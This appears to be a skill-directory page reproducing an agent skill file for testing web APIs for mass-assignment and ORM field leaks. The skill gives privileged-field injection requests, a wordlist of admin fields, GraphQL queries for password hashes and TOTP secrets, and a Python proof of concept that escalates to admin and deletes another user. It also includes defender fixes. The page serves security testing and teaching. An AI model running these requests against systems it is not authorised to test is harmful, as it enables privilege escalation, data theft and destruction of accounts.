mass-assignment
What it does
This skill teaches the agent how to test whether an API accepts fields users should not be able to set. It is for security testers checking profile and account update features.
When to use it
- βWhen an API updates a user profile and you want to check whether role or admin fields can be set.
- βWhen a security review asks whether create or update requests are filtered by an allowlist.
- βWhen you want to check whether protected fields appear in API responses.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether my app's profile update lets a normal user set themselves as admin?β
5 new skills a week. 1 minute to read.
How it works
The agent sends a normal update, then adds common sensitive field names to the request and checks whether those values are saved when the profile is loaded again.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Mass Assignment + ORM Leak
API endpoints that bind request JSON straight to model update() /
create() without an allowlist can be coerced into setting admin
fields (is_admin, role, verified, etc).
1. Detect
# Capture a legitimate update request
PATCH /api/users/me
{"name": "Alice"}
# Try adding common privileged fields
PATCH /api/users/me
{"name": "Alice", "is_admin": true, "role": "admin", "verified": true,
"balance": 999999, "permissions": ["*"], "isStaff": true,
"membership_level": "premium", "tier": "enterprise"}
Re-fetch own profile. If any of the injected fields persists with attacker-set value β mass assignment.
2. Common field names to try
is_admin isAdmin admin superuser is_staff isStaff staff
role roles permission permissions scope scopes group groups
verified email_verified isVerified approved banned is_banned
balance credits points reputation
tier membership_level plan subscription
created_at email user_id uuid external_id organization_id
password password_hash
3. Framework-specific patterns
Rails (legacy, pre-strong-params)
User.create(params[:user]) β all params mass-assigned. Rails 4+ enforces
params.require(:user).permit(:name, :email). If permit list is too broad,
mass assignment.
Django REST Framework
UserSerializer(instance, data=request.data, partial=True).save() β all
declared fields settable. Bug: developer adds is_staff to serializer
fields by mistake.
Express / Mongoose
User.findOneAndUpdate({_id: req.params.id}, req.body)
// β any req.body field becomes a $set. Catastrophic.
Spring Boot
@RequestBody User u β Jackson binds all settable properties. If User
has setter for role, attacker can set it.
Go / Echo / Gin
c.Bind(&user) β same pattern.
4. ORM Leak β the response side
Sometimes the response serializer leaks fields the request can't set:
GET /api/users/123
{
"id": 123,
"name": "Alice",
"email": "alice@target.com",
"password_hash": "$2a$12$...", β leak!
"totp_secret": "JBSW...", β leak!
"stripe_customer_id": "cus_...",
"internal_notes": "VIP customer"
}
Or via GraphQL field expansion:
query { user(id: 123) { id name email passwordHash totpSecret } }
5. Tools
- Burp Intruder w/ wordlist of common privileged field names
- Manual exploration in dev tools β note ALL fields the app sees, try setting each
6. PoC
import requests
# Step 1: Register normal account
r = requests.post(f"{TARGET}/register", json={
"username": "attacker",
"password": "test123",
"is_admin": True, # try
"role": "admin", # try
})
# Step 2: Login + check
sess = requests.Session()
sess.post(f"{TARGET}/login", json={"username": "attacker", "password": "test123"})
me = sess.get(f"{TARGET}/api/users/me").json()
assert me.get("is_admin") == True # boom
# Step 3: Use admin powers
sess.delete(f"{TARGET}/api/users/2") # delete another user β confirm admin
7. Severity
| Bug | Severity |
|---|---|
Mass assignment to is_admin / role |
Critical 9.8 |
Mass assignment to balance / credits |
Critical 9.0 |
Mass assignment to email_verified |
High 7-8 (chains to ATO) |
| ORM leak of password_hash | Critical 9.8 |
| ORM leak of TOTP secret | Critical 9.8 |
| ORM leak of internal notes / PII | High 7-8 |
8. Defender
# Django REST Framework β explicit serializer fields, read_only_fields
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ['name', 'email'] # whitelist
read_only_fields = ['id', 'created_at', 'is_admin', 'role']
# Rails β strong params
def user_params
params.require(:user).permit(:name, :email)
end
# General: NEVER serialize entire model directly. Always project.
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Mass Assignment/+ORM Leak/ - API misconfig:
skills/exploit/web/methodology/(when added)
Known exemplars
- GitHub 2012: Egor Homakov's classic Rails mass-assignment β set someone else as repo collaborator. Cost: company crisis, paper.
- Multiple Shopify / Atlassian / GitLab bounties for missing strong params
- 2023 GraphQL mass-introspection-leak campaigns
FAQ
What kinds of field names does it try?
It tries names such as is_admin, role, verified, balance and permissions, among others.
Does it cover frameworks?
Yes, it describes patterns for Rails and Django REST Framework.
Does it check responses too?
Yes, it also looks for protected fields leaked in responses.
Details
Original description by the author
Mass assignment + ORM leak β inject extra fields into create/update requests, escalate to admin, leak protected fields via response.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14070
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.